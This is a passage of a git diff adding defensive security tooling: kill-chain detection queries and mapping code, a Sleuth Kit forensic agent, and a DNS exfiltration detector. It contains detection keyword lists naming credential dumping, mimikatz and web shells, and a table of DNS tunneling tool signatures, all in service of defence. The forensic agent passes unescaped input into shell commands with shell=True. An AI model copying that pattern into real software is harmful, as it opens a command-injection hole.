"attack": "13"}, + "domain": "enterprise-attack", + "techniques": [ + {"techniqueID": "T1566", "color": "#ff6666", "comment": "Phase 3: Delivery"} + ] +} +``` + +### CLI Usage +```bash +# Export layer via ATT&CK Navigator API +curl -X POST https://mitre-attack.github.io/attack-navigator/api/layers \ + -d @layer.json -o coverage_map.svg +``` + +## Splunk - Kill Chain Phase Queries + +### Phase 3 Detection (Delivery) +```spl +index=email sourcetype=exchange action=delivered +| eval has_macro=if(match(attachment, "\.(docm|xlsm|pptm)$"), 1, 0) +| where has_macro=1 +| stats count by sender, subject, attachment +``` + +### Phase 6 Detection (C2) +```spl +index=proxy OR index=firewall +| stats count AS connections, dc(dest) AS unique_dests by src_ip +| where connections > 100 AND unique_dests < 3 +| sort - connections +``` + +## Elastic Security EQL + +### Multi-Phase Detection +```eql +sequence by host.name with maxspan=1h + [process where event.action == "start" and process.name == "WINWORD.EXE"] + [process where event.action == "start" and process.parent.name == "WINWORD.EXE"] + [network where destination.port == 443 and not destination.ip in ("known_good")] +``` + +## MISP - Kill Chain Tagging + +### Galaxy Cluster Tags +``` +misp-galaxy:kill-chain="reconnaissance" +misp-galaxy:kill-chain="delivery" +misp-galaxy:kill-chain="exploitation" +misp-galaxy:kill-chain="installation" +misp-galaxy:kill-chain="command-and-control" +misp-galaxy:kill-chain="actions-on-objectives" +``` + +### PyMISP Event Tagging +```python +from pymisp import PyMISP, MISPEvent + +misp = PyMISP("https://misp.example.com", "API_KEY") +event = MISPEvent() +event.add_tag("kill-chain:delivery") +event.add_tag("mitre-attack-pattern:T1566 - Phishing") +misp.update_event(event) +``` diff --git a/skills/analyzing-cyber-kill-chain/scripts/agent.py b/skills/analyzing-cyber-kill-chain/scripts/agent.py new file mode 100644 index 00000000..58908e81 --- /dev/null +++ b/skills/analyzing-cyber-kill-chain/scripts/agent.py @@ -0,0 +1,244 @@ +#!/usr/bin/env python3 +"""Cyber Kill Chain analysis agent for mapping incidents to Lockheed Martin kill chain phases.""" + +import json +import os +import sys +import datetime + + +KILL_CHAIN_PHASES = { + 1: { + "name": "Reconnaissance", + "description": "Adversary gathers target information", + "indicators": [ + "DNS queries from adversary IP", + "LinkedIn/social media scraping", + "Shodan/Censys scans of infrastructure", + "Job posting analysis for technology stack", + "WHOIS lookups on organization domains", + ], + "mitre_tactics": ["TA0043 - Reconnaissance"], + "coas": { + "detect": "Monitor for anomalous DNS lookups and port scans from single sources", + "deny": "Limit public-facing information, restrict DNS zone transfers", + "disrupt": "Block scanning IPs at perimeter firewall", + "degrade": "Return honeypot responses to recon probes", + "deceive": "Deploy decoy infrastructure and fake employee profiles", + }, + }, + 2: { + "name": "Weaponization", + "description": "Adversary creates attack tool (malware + exploit)", + "indicators": [ + "Malware compilation timestamps", + "Exploit document metadata", + "Builder tool artifacts in samples", + "Reused infrastructure from previous campaigns", + ], + "mitre_tactics": ["TA0042 - Resource Development"], + "coas": { + "detect": "Threat intelligence on adversary tooling and TTPs", + "deny": "Patch vulnerabilities targeted by known exploit kits", + "disrupt": "N/A (occurs outside defender visibility)", + "degrade": "Application hardening reduces exploit reliability", + "deceive": "Share deceptive vulnerability information", + }, + }, + 3: { + "name": "Delivery", + "description": "Adversary transmits weapon to target", + "indicators": [ + "Phishing emails with malicious attachments", + "Drive-by download URLs", + "USB device insertion events", + "Supply chain compromise artifacts", + "Watering hole website modifications", + ], + "mitre_tactics": ["TA0001 - Initial Access"], + "coas": { + "detect": "Email security gateway alerts, proxy URL filtering alerts", + "deny": "Block malicious attachments, URL filtering, USB device control", + "disrupt": "Quarantine suspicious emails before delivery", + "degrade": "Sandbox detonation of attachments delays delivery", + "deceive": "Canary documents in email attachments", + }, + }, + 4: { + "name": "Exploitation", + "description": "Adversary exploits vulnerability to execute code", + "indicators": [ + "CVE exploitation in application logs", + "Memory corruption crash dumps", + "Shellcode execution artifacts", + "Exploit kit landing page access", + ], + "mitre_tactics": ["TA0002 - Execution"], + "coas": { + "detect": "EDR behavioral detection, exploit guard alerts", + "deny": "Patch management, application whitelisting", + "disrupt": "ASLR, DEP, CFG memory protections", + "degrade": "Sandboxed application execution (Protected View)", + "deceive": "Honeypot applications with fake vulnerabilities", + }, + }, + 5: { + "name": "Installation", + "description": "Adversary establishes persistence on target", + "indicators": [ + "New scheduled tasks or services", + "Registry Run key modifications", + "Web shell deployment", + "Startup folder additions", + "DLL search-order hijacking", + ], + "mitre_tactics": ["TA0003 - Persistence", "TA0004 - Privilege Escalation"], + "coas": { + "detect": "Sysmon EventID 11/12/13, EDR persistence monitoring", + "deny": "Application whitelisting, UAC enforcement", + "disrupt": "Real-time file integrity monitoring alerts", + "degrade": "Restrict write access to system directories", + "deceive": "Canary registry keys and file system canaries", + }, + }, + 6: { + "name": "Command & Control", + "description": "Adversary communicates with compromised system", + "indicators": [ + "Beaconing traffic at regular intervals", + "DNS tunneling (high entropy subdomain queries)", + "HTTPS to newly registered domains", + "Known C2 framework signatures", + ], + "mitre_tactics": ["TA0011 - Command and Control"], + "coas": { + "detect": "Network beacon analysis, JA3 fingerprinting, DNS monitoring", + "deny": "DNS sinkholing, firewall egress filtering", + "disrupt": "TLS inspection to identify C2 in encrypted traffic", + "degrade": "Rate-limit suspicious outbound connections", + "deceive": "C2 interception and response manipulation", + }, + }, + 7: { + "name": "Actions on Objectives", + "description": "Adversary achieves mission goals", + "indicators": [ + "Data staging and exfiltration", + "Lateral movement to additional systems", + "Ransomware encryption activity", + "Destructive operations (wiper malware)", + "Credential dumping (LSASS access)", + ], + "mitre_tactics": ["TA0010 - Exfiltration", "TA0040 - Impact"], + "coas": { + "detect": "DLP alerts, anomalous data transfers, UEBA", + "deny": "Network segmentation, data classification controls", + "disrupt": "Isolate compromised systems, kill C2 connections", + "degrade": "Encrypt sensitive data at rest (attacker gets ciphertext)", + "deceive": "Canary files and honeytoken credentials", + }, + }, +} + + +def map_event_to_phase(event_description): + """Map an incident event description to the most likely kill chain phase.""" + event_lower = event_description.lower() + keyword_phase_map = { + 1: ["recon", "scan", "enumerat", "shodan", "whois", "dns lookup"], + 2: ["weaponiz", "builder", "compile", "payload creat"], + 3: ["phish", "email", "deliver", "download", "usb", "attachment", "watering hole"], + 4: ["exploit", "cve-", "buffer overflow", "shellcode", "rce"], + 5: ["persist", "scheduled task", "registry", "run key", "service install", + "web shell", "backdoor", "startup"], + 6: ["beacon", "c2", "c&c", "command and control", "callback", "dns tunnel"], + 7: ["exfiltrat", "lateral", "ransomware", "encrypt", "data stag", "credential dump", + "mimikatz", "wiper"], + } + scores = {phase: 0 for phase in range(1, 8)} + for phase, keywords in keyword_phase_map.items(): + for kw in keywords: + if kw in event_lower: + scores[phase] += 1 + best_phase = max(scores, key=scores.get) + if scores[best_phase] == 0: + return None + return best_phase + + +def analyze_incident(events): + """Analyze a list of incident events and map to kill chain phases.""" + analysis = {phase: {"events": [], "detected": False, "completed": False} + for phase in range(1, 8)} + for event in events: + phase = map_event_to_phase(event.get("description", "")) + if phase: + analysis[phase]["events"].append(event) + analysis[phase]["completed"] = True + if event.get("detected", False): + analysis[phase]["detected"] = True + return analysis + + +def generate_report(analysis): + """Generate a kill chain analysis report.""" + report_lines = [ + "CYBER KILL CHAIN ANALYSIS REPORT", + "=" * 50, + f"Generated: {datetime.datetime.utcnow().isoformat()}Z", + "", + ] + deepest_phase = 0 + detection_phase = None + for phase_num in range(1, 8): + phase_data = analysis[phase_num] + phase_info = KILL_CHAIN_PHASES[phase_num] + if phase_data["completed"]: + deepest_phase = phase_num + if phase_data["detected"] and detection_phase is None: + detection_phase = phase_num + status = "COMPLETED" if phase_data["completed"] else "NOT REACHED" + if phase_data["detected"]: + status += " (DETECTED)" + report_lines.append(f"Phase {phase_num}: {phase_info['name']} -> {status}") + for evt in phase_data["events"]: + report_lines.append(f" - {evt.get('description', 'N/A')}") + report_lines.extend([ + "", + f"Deepest phase reached: {deepest_phase} ({KILL_CHAIN_PHASES.get(deepest_phase, {}).get('name', 'N/A')})", + f"First detection at phase: {detection_phase or 'None'}", + "", + "RECOMMENDED COURSES OF ACTION:", + ]) + for phase_num in range(1, deepest_phase + 1): + phase_info = KILL_CHAIN_PHASES[phase_num] + report_lines.append(f"\n Phase {phase_num} - {phase_info['name']}:") + for coa_type, coa_desc in phase_info["coas"].items(): + report_lines.append(f" {coa_type.upper()}: {coa_desc}") + return "\n".join(report_lines) + + +if __name__ == "__main__": + print("=" * 60) + print("Cyber Kill Chain Analysis Agent") + print("Lockheed Martin framework mapping with MITRE ATT&CK integration") + print("=" * 60) + + # Demo incident events + demo_events = [ + {"description": "Shodan scans detected from 203.0.113.50 targeting web servers", + "timestamp": "2025-09-10T08:00:00Z", "detected": False}, + {"description": "Phishing email with malicious .docm attachment delivered to 5 users", + "timestamp": "2025-09-11T09:15:00Z", "detected": False}, + {"description": "CVE-2023-23397 exploitation detected in Outlook process crash", + "timestamp": "2025-09-11T09:20:00Z", "detected": False}, + {"description": "Scheduled task created for persistence by malware dropper", + "timestamp": "2025-09-11T09:25:00Z", "detected": True}, + {"description": "C2 beacon detected to 185.220.101.42 on port 443", + "timestamp": "2025-09-11T09:30:00Z", "detected": True}, + ] + + print("\n[*] Analyzing demo incident events...") + analysis = analyze_incident(demo_events) + report = generate_report(analysis) + print(f"\n{report}") diff --git a/skills/analyzing-disk-image-with-autopsy/LICENSE b/skills/analyzing-disk-image-with-autopsy/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-disk-image-with-autopsy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-disk-image-with-autopsy/references/api-reference.md b/skills/analyzing-disk-image-with-autopsy/references/api-reference.md new file mode 100644 index 00000000..5ed560c7 --- /dev/null +++ b/skills/analyzing-disk-image-with-autopsy/references/api-reference.md @@ -0,0 +1,118 @@ +# API Reference: Autopsy and The Sleuth Kit (TSK) + +## mmls - Partition Layout + +### Syntax +```bash +mmls +mmls -t dos # Force DOS partition table +mmls -t gpt # Force GPT partition table +``` + +### Output Format +``` +DOS Partition Table +Offset Sector: 0 + Slot Start End Length Description + 00: 00:00 0000002048 0001026047 0001024000 NTFS (0x07) +``` + +## fls - File Listing + +### Syntax +```bash +fls -o # List root directory +fls -r -o # Recursive listing +fls -rd -o # Deleted files only, recursive +fls -m "/" -r -o # Bodyfile format for mactime +``` + +### Flags +| Flag | Description | +|------|-------------| +| `-r` | Recursive listing | +| `-d` | Deleted entries only | +| `-D` | Directories only | +| `-m "/"` | Output in bodyfile format with mount point | +| `-o` | Partition sector offset | + +## icat - File Extraction by Inode + +### Syntax +```bash +icat -o > recovered_file +icat -r -o > file # Recover slack space +``` + +## istat - File Metadata + +### Syntax +```bash +istat -o +``` + +### Output Includes +- MFT entry number and sequence +- File creation, modification, access, MFT change timestamps +- File size and data run locations +- Attribute list (NTFS: $STANDARD_INFORMATION, $FILE_NAME, $DATA) + +## mactime - Timeline Generation + +### Syntax +```bash +mactime -b -d > timeline.csv +mactime -b -d 2024-01-15..2024-01-20 > filtered.csv +mactime -b -z UTC -d > timeline_utc.csv +``` + +### Output Columns +``` +Date,Size,Type,Mode,UID,GID,Meta,File Name +``` + +## img_stat - Image Information + +### Syntax +```bash +img_stat +``` + +## sigfind - File Signature Search + +### Syntax +```bash +sigfind -o +sigfind -o 2048 evidence.dd 25504446 # Find %PDF headers +sigfind -o 2048 evidence.dd 504B0304 # Find ZIP/DOCX headers +``` + +### Common Signatures +| Hex | File Type | +|-----|-----------| +| `FFD8FF` | JPEG | +| `89504E47` | PNG | +| `25504446` | PDF | +| `504B0304` | ZIP/DOCX/XLSX | +| `D0CF11E0` | OLE (DOC/XLS) | + +## srch_strings - Keyword Search + +### Syntax +```bash +srch_strings -a -o | grep -i "keyword" +srch_strings -t d # Print offset in decimal +``` + +## Autopsy GUI Ingest Modules + +| Module | Function | +|--------|----------| +| Recent Activity | Browser history, downloads, cookies | +| Hash Lookup | NSRL and known-bad hash matching | +| File Type Identification | Signature-based file type detection | +| Keyword Search | Full-text content indexing | +| Email Parser | PST/MBOX/EML extraction | +| Extension Mismatch | Wrong file extension detection | +| Embedded File Extractor | ZIP, Office, PDF extraction | +| Encryption Detection | Encrypted container identification | diff --git a/skills/analyzing-disk-image-with-autopsy/scripts/agent.py b/skills/analyzing-disk-image-with-autopsy/scripts/agent.py new file mode 100644 index 00000000..956e380a --- /dev/null +++ b/skills/analyzing-disk-image-with-autopsy/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Forensic disk image analysis agent using The Sleuth Kit (TSK) command-line tools.""" + +import subprocess +import os +import sys +import json +import csv +import datetime + + +def run_cmd(cmd): + """Execute a shell command and return output.""" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def get_image_info(image_path): + """Retrieve disk image metadata using img_stat.""" + stdout, _, rc = run_cmd(f"img_stat {image_path}") + if rc == 0: + info = {} + for line in stdout.splitlines(): + if ":" in line: + key, _, val = line.partition(":") + info[key.strip()] = val.strip() + return info + return None + + +def list_partitions(image_path): + """List partition layout using mmls.""" + stdout, _, rc = run_cmd(f"mmls {image_path}") + partitions = [] + if rc == 0: + for line in stdout.splitlines(): + parts = line.split() + if len(parts) >= 6 and parts[2].isdigit(): + partitions.append({ + "slot": parts[0].rstrip(":"), + "start": int(parts[2]), + "end": int(parts[3]), + "length": int(parts[4]), + "description": " ".join(parts[5:]), + }) + return partitions + + +def list_files(image_path, offset, path="/", recursive=False): + """List files in a partition using fls.""" + flags = "-r" if recursive else "" + cmd = f"fls {flags} -o {offset} {image_path}" + if path != "/": + cmd += f" -D {path}" + stdout, _, rc = run_cmd(cmd) + files = [] + if rc == 0: + for line in stdout.splitlines(): + line = line.strip() + if not line: + continue + parts = line.split("\t", 1) + if len(parts) == 2: + meta = parts[0].strip() + name = parts[1].strip() + deleted = meta.startswith("*") + file_type = "d" if "d/" in meta else "r" + inode = "" + for token in meta.split(): + if "-" in token and token.replace("-", "").isdigit(): + inode = token + break + files.append({ + "name": name, + "inode": inode, + "type": "directory" if file_type == "d" else "file", + "deleted": deleted, + }) + return files + + +def list_deleted_files(image_path, offset): + """List only deleted files using fls -rd.""" + stdout, _, rc = run_cmd(f"fls -rd -o {offset} {image_path}") + deleted = [] + if rc == 0: + for line in stdout.splitlines(): + line = line.strip() + if line: + deleted.append(line) + return deleted + + +def recover_file(image_path, offset, inode, output_path): + """Recover a file by inode using icat.""" + cmd = f"icat -o {offset} {image_path} {inode} > {output_path}" + _, _, rc = run_cmd(cmd) + return rc == 0 + + +def get_file_metadata(image_path, offset, inode): + """Get detailed file metadata using istat.""" + stdout, _, rc = run_cmd(f"istat -o {offset} {image_path} {inode}") + return stdout if rc == 0 else None + + +def create_bodyfile(image_path, offset, output_path): + """Generate a TSK bodyfile for timeline creation.""" + cmd = f'fls -r -m "/" -o {offset} {image_path} > {output_path}' + _, _, rc = run_cmd(cmd) + return rc == 0 + + +def generate_timeline(bodyfile_path, output_csv, start_date=None, end_date=None): + """Generate a timeline from a bodyfile using mactime.""" + cmd = f"mactime -b {bodyfile_path} -d" + if start_date and end_date: + cmd += f" {start_date}..{end_date}" + cmd += f" > {output_csv}" + _, _, rc = run_cmd(cmd) + return rc == 0 + + +def search_keywords(image_path, offset, keyword): + """Search for keyword strings in the disk image.""" + cmd = f'srch_strings -a -o {offset} {image_path} | grep -i "{keyword}"' + stdout, _, rc = run_cmd(cmd) + return stdout.splitlines() if rc == 0 else [] + + +def find_file_signature(image_path, offset, hex_signature): + """Find file signatures at the sector level using sigfind.""" + stdout, _, rc = run_cmd(f"sigfind -o {offset} {image_path} {hex_signature}") + return stdout if rc == 0 else None + + +def analyze_image(image_path, case_dir): + """Run a full automated analysis workflow on a disk image.""" + os.makedirs(case_dir, exist_ok=True) + results = {"image": image_path, "timestamp": datetime.datetime.utcnow().isoformat()} + + print(f"[*] Image info...") + results["image_info"] = get_image_info(image_path) + + print(f"[*] Partition layout...") + partitions = list_partitions(image_path) + results["partitions"] = partitions + + for part in partitions: + if "NTFS" in part.get("description", "") or "Linux" in part.get("description", ""): + offset = part["start"] + print(f"[*] Listing files at offset {offset} ({part['description']})...") + files = list_files(image_path, offset, recursive=True) + results[f"files_offset_{offset}"] = { + "total": len(files), + "deleted": sum(1 for f in files if f["deleted"]), + } + print(f" Total: {len(files)}, Deleted: {results[f'files_offset_{offset}']['deleted']}") + + print(f"[*] Creating bodyfile for timeline...") + bf_path = os.path.join(case_dir, f"bodyfile_{offset}.txt") + create_bodyfile(image_path, offset, bf_path) + + tl_path = os.path.join(case_dir, f"timeline_{offset}.csv") + generate_timeline(bf_path, tl_path) + + report_path = os.path.join(case_dir, "analysis_summary.json") + with open(report_path, "w") as f: + json.dump(results, f, indent=2, default=str) + print(f"[*] Summary saved to {report_path}") + return results + + +if __name__ == "__main__": + print("=" * 60) + print("Disk Image Forensic Analysis Agent") + print("Tools: The Sleuth Kit (fls, icat, mmls, mactime)") + print("=" * 60) + + if len(sys.argv) > 1: + image = sys.argv[1] + case = sys.argv[2] if len(sys.argv) > 2 else "/tmp/autopsy_case" + if os.path.exists(image): + analyze_image(image, case) + else: + print(f"[ERROR] Image not found: {image}") + else: + print("\n[DEMO] Usage: python agent.py [case_directory]") + print("[*] Supported operations:") + print(" - Partition enumeration (mmls)") + print(" - File listing with deleted file recovery (fls, icat)") + print(" - Timeline generation (mactime)") + print(" - Keyword searching (srch_strings)") + print(" - File signature detection (sigfind)") diff --git a/skills/analyzing-dns-logs-for-exfiltration/LICENSE b/skills/analyzing-dns-logs-for-exfiltration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-dns-logs-for-exfiltration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md b/skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md new file mode 100644 index 00000000..f6ea9400 --- /dev/null +++ b/skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md @@ -0,0 +1,112 @@ +# API Reference: DNS Exfiltration Detection Tools + +## Shannon Entropy Calculation + +### Python Implementation +```python +import math +from collections import Counter + +def shannon_entropy(text): + counter = Counter(text.lower()) + length = len(text) + return -sum((c/length) * math.log2(c/length) for c in counter.values()) +``` + +### Threshold Values +| Entropy | Classification | +|---------|---------------| +| < 2.5 | Normal domain (e.g., "google") | +| 2.5 - 3.5 | Borderline (monitor) | +| > 3.5 | Suspicious (likely DGA/tunneling) | +| > 4.0 | High confidence malicious | + +## Splunk DNS Queries + +### Tunneling Detection +```spl +index=dns sourcetype="stream:dns" +| eval subdomain_len=len(mvindex(split(query,"."),0)) +| where subdomain_len > 50 +| stats count by registered_domain, src_ip +``` + +### DGA Detection +```spl +index=dns +| eval sld=mvindex(split(query,"."), -2) +| where len(sld) > 12 +| stats count, dc(query) AS unique by src_ip +``` + +### Volume Anomaly +```spl +index=dns earliest=-24h +| bin _time span=1h +| stats count AS queries by src_ip, _time +| eventstats avg(queries) AS avg_q, stdev(queries) AS stdev_q by src_ip +| eval z_score=(queries - avg_q) / stdev_q +| where z_score > 3 +``` + +### TXT Record Abuse +```spl +index=dns query_type="TXT" +| stats count AS txt_queries by src_ip +| where txt_queries > 100 +``` + +## Zeek DNS Log Format + +### Log Fields (dns.log) +| Column | Field | Description | +|--------|-------|-------------| +| 0 | ts | Timestamp | +| 2 | id.orig_h | Source IP | +| 4 | id.resp_h | DNS server IP | +| 9 | query | Query domain name | +| 13 | qtype_name | Query type (A, TXT, CNAME) | +| 15 | rcode_name | Response code | +| 21 | answers | Response answers | + +### Zeek CLI Analysis +```bash +cat dns.log | zeek-cut query qtype_name id.orig_h | sort | uniq -c | sort -rn +``` + +## DNS Tunneling Tools (Detection Signatures) + +| Tool | DNS Pattern | +|------|-------------| +| iodine | `*.pirate.sea` (TXT/NULL records) | +| dnscat2 | `*.dnscat.` prefix in queries | +| dns2tcp | `*.dns2tcp.` pattern | +| Cobalt Strike DNS | Periodic TXT queries with encoded payloads | + +## Passive DNS Lookup APIs + +### Farsight DNSDB +```bash +curl -H "X-API-Key: $KEY" \ + "https://api.dnsdb.info/dnsdb/v2/lookup/rrset/name/evil.com/A" +``` + +### VirusTotal Domain Resolutions +```bash +curl -H "x-apikey: $KEY" \ + "https://www.virustotal.com/api/v3/domains/evil.com/resolutions" +``` + +## Cisco Umbrella (OpenDNS) Investigate API + +### Domain Categorization +```bash +curl -H "Authorization: Bearer $TOKEN" \ + "https://investigate.api.umbrella.com/domains/categorization/evil.com" +``` + +### Security Information +```bash +curl -H "Authorization: Bearer $TOKEN" \ + "https://investigate.api.umbrella.com/security/name/evil.com" +``` diff --git a/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py b/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py new file mode 100644 index 00000000..ad9a0cb2 --- /dev/null +++ b/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""DNS exfiltration detection agent using entropy analysis and query pattern detection.""" + +import math +import os +import sys +import json +import csv +import datetime +from collections import Counter, defaultdict + + +def shannon_entropy(text): + """Calculate Shannon entropy of a string.""" + if not text: + return 0.0 + counter = Counter(text.lower()) + length = len(text) + entropy = -sum( + (count / length) * math.log2(count / length) + for count in counter.values() + ) + return round(entropy, 4) + + +def extract_subdomain(fqdn): + """Extract the subdomain portion from a fully qualified domain name.""" + parts = fqdn.rstrip(".").split(".") + if len(parts) > 2: + return ".".join(parts[:-2]) + return "" + + +def extract_registered_domain(fqdn): + """Extract the registered domain (SLD + TLD) from an FQDN.""" + parts = fqdn.rstrip(".").split(".") + if len(parts) >= 2: + return ".".join(parts[-2:]) + return fqdn + + +def detect_tunneling(dns_records, subdomain_len_threshold=50, min_queries=20): + """Detect DNS tunneling based on subdomain length anomalies.""" + domain_stats = defaultdict(lambda: {"queries": 0, "unique_queries": set(), + "subdomain_lengths": [], "sources": set()}) + for record in dns_records: + query = record.get("query", "") + src = record.get("src_ip", "unknown") + subdomain = extract_subdomain(query) + reg_domain = extract_registered_domain(query) + if len(subdomain) > subdomain_len_threshold: + stats = domain_stats[reg_domain] + stats["queries"] += 1 + stats["unique_queries"].add(query) + stats["subdomain_lengths"].append(len(subdomain)) + stats["sources"].add(src) + alerts = [] + for domain, stats in domain_stats.items(): + if stats["queries"] >= min_queries: + avg_len = sum(stats["subdomain_lengths"]) / len(stats["subdomain_lengths"]) + max_len = max(stats["subdomain_lengths"]) + alerts.append({ + "domain": domain, + "queries": stats["queries"], + "unique_queries": len(stats["unique_queries"]), + "avg_subdomain_length": round(avg_len, 1), + "max_subdomain_length": max_len, + "sources": list(stats["sources"]), + "verdict": "CRITICAL - Likely DNS tunneling", + }) + return sorted(alerts, key=lambda x: x["avg_subdomain_length"], reverse=True) + + +def detect_dga(dns_records, entropy_threshold=3.5, min_sld_length=12): + """Detect Domain Generation Algorithm queries using entropy scoring.""" + suspicious = defaultdict(lambda: {"count": 0, "sources": set(), "entropies": []}) + for record in dns_records: + query = record.get("query", "").rstrip(".") + src = record.get("src_ip", "unknown") + parts = query.split(".") + if len(parts) < 2: + continue + sld = parts[-2] + if len(sld) < min_sld_length: + continue + ent = shannon_entropy(sld) + if ent > entropy_threshold: + suspicious[query]["count"] += 1 + suspicious[query]["sources"].add(src) + suspicious[query]["entropies"].append(ent) + alerts = [] + for domain, data in suspicious.items(): + avg_entropy = sum(data["entropies"]) / len(data["entropies"]) + alerts.append({ + "domain": domain, + "queries": data["count"], + "avg_entropy": round(avg_entropy, 4), + "sources": list(data["sources"]), + "verdict": "HIGH - Possible DGA domain", + }) + return sorted(alerts, key=lambda x: x["avg_entropy"], reverse=True) + + +def detect_volume_anomaly(dns_records, z_score_threshold=3.0): + """Detect hosts with anomalously high DNS query volumes.""" + host_counts = defaultdict(int) + for record in dns_records: + src = record.get("src_ip", "unknown") + host_counts[src] += 1 + if not host_counts: + return [] + values = list(host_counts.values()) + mean_q = sum(values) / len(values) + if len(values) < 2: + return [] + variance = sum((x - mean_q) ** 2 for x in values) / (len(values) - 1) + stdev_q = variance ** 0.5 + if stdev_q == 0: + return [] + anomalies = [] + for host, count in host_counts.items(): + z = (count - mean_q) / stdev_q + if z > z_score_threshold: + anomalies.append({ + "src_ip": host, + "queries": count, + "z_score": round(z, 2), + "mean": round(mean_q, 1), + "verdict": "HIGH - Anomalous query volume", + }) + return sorted(anomalies, key=lambda x: x["z_score"], reverse=True) + + +def detect_txt_abuse(dns_records, threshold=100): + """Detect excessive TXT record queries (common tunneling method).""" + txt_counts = defaultdict(lambda: {"count": 0, "unique_domains": set()}) + for record in dns_records: + qtype = str(record.get("query_type", "")).upper() + if qtype in ("TXT", "16"): + src = record.get("src_ip", "unknown") + txt_counts[src]["count"] += 1 + txt_counts[src]["unique_domains"].add(record.get("query", "")) + alerts = [] + for src, data in txt_counts.items(): + if data["count"] > threshold: + level = "CRITICAL" if data["count"] > 1000 else "HIGH" if data["count"] > 500 else "MEDIUM" + alerts.append({ + "src_ip": src, + "txt_queries": data["count"], + "unique_domains": len(data["unique_domains"]), + "verdict": f"{level} - Possible DNS tunneling via TXT records", + }) + return sorted(alerts, key=lambda x: x["txt_queries"], reverse=True) + + +def estimate_exfil_volume(dns_records, target_domain): + """Estimate data volume encoded in DNS queries to a specific domain.""" + total_encoded_bytes = 0 + query_count = 0 + for record in dns_records: + query = record.get("query", "") + if target_domain in query: + subdomain = extract_subdomain(query) + total_encoded_bytes += len(subdomain) + query_count += 1 + decoded_bytes = int(total_encoded_bytes * 0.75) # Base64 decode factor + return { + "target_domain": target_domain, + "total_queries": query_count, + "encoded_bytes": total_encoded_bytes, + "estimated_decoded_bytes": decoded_bytes, + "estimated_kb": round(decoded_bytes / 1024, 1), + "estimated_mb": round(decoded_bytes / (1024 * 1024), 3), + } + + +def parse_zeek_dns_log(log_path): + """Parse a Zeek dns.log file into structured records.""" + records = [] + with open(log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + parts = line.strip().split("\t") + if len(parts) >= 10: + records.append({ + "timestamp": parts[0], + "src_ip": parts[2], + "src_port": parts[3], + "dst_ip": parts[4], + "query": parts[9] if len(parts) > 9 else "", + "query_type": parts[13] if len(parts) > 13 else "", + }) + return records + + +if __name__ == "__main__": + print("=" * 60) + print("DNS Exfiltration Detection Agent") + print("Tunneling, DGA, volume anomaly, and TXT abuse detection") + print("=" * 60) + + # Demo with synthetic DNS records + demo_records = [ + {"query": f"{'a' * 60}.evil-tunnel.com", "src_ip": "192.168.1.105", + "query_type": "TXT"} for _ in range(50) + ] + [ + {"query": "x8kj2m9p4qw7nz3.xyz", "src_ip": "192.168.1.110", + "query_type": "A"} for _ in range(5) + ] + [ + {"query": "google.com", "src_ip": "192.168.1.50", "query_type": "A"} + for _ in range(10) + ] + + print("\n--- DNS Tunneling Detection ---") + tunneling = detect_tunneling(demo_records, subdomain_len_threshold=30, min_queries=10) + for t in tunneling: + print(f"[!] {t['domain']}: {t['queries']} queries, " + f"avg subdomain len={t['avg_subdomain_length']}") + + print("\n--- DGA Detection ---") + dga = detect_dga(demo_records, entropy_threshold=3.0, min_sld_length=10) + for d in dga[:5]: + print(f"[!] {d['domain']}: entropy={d['avg_entropy']}") + + print("\n--- TXT Record Abuse ---") + txt = detect_txt_abuse(demo_records, threshold=10) + for t in txt: + print(f"[!] {t['src_ip']}: {t['txt_queries']} TXT queries") + + print("\n--- Entropy Examples ---") + examples = ["google", "x8kj2m9p4qw7n", "aGVsbG8gd29ybGQ"] + for ex in examples: + print(f" '{ex}' -> 